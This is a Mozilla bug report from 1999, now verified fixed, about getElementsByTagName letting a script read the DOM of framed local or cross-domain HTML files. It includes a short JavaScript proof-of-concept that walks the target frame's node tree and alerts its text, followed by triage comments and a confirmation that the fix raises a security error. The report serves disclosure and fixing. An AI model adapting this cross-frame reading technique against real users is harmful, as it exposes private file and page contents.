15067 - [DOGFOOD] getElementsByTagName() allows reading of arbitrary HTML files

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

There is a security vulnerability in Mozilla 5.0 (1999092708 and earlier) which
allows reading arbitrary HTML files - local and in any domain.
The problem is the method "getElementsByTagName" which allows walking the DOM
tree of any HTML file.
The code is:
------
function f(o)
{
 var s='';
 var i;
 s = o.nodeValue;
 if ( o.childNodes )
    for ( i = 0; i < o.childNodes.length; i++ )
       s += f(o.childNodes[i]);
return s;
}
setTimeout("a=top.frames[0].document.getElementsByTagName('HTML');s=f(a[0]);aler
t(s)",14000);
--------
(you need two frames, frames[0] being the file to be read)

Comment 1

[Norris Boyd]

Also need to stop access to ranges.

Comment 2

[Norris Boyd]

Marking dogfood for analysis by PDT at jar's request.

Comment 3

[leger]

Putting on PDT+ radar.

Comment 4

[dshea]

Windows NT (1999112908) Com:
Javascript Error: uncaught exception: [Exception... "Security error" code:
"1000" nsresult: "0x805303e8 (NS_ERROR_DOM_SECURITY_ERR)" location:
"http://www.nat.bg/~joro/mozilla/nodes.html Line: 13"]

Comment 5

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.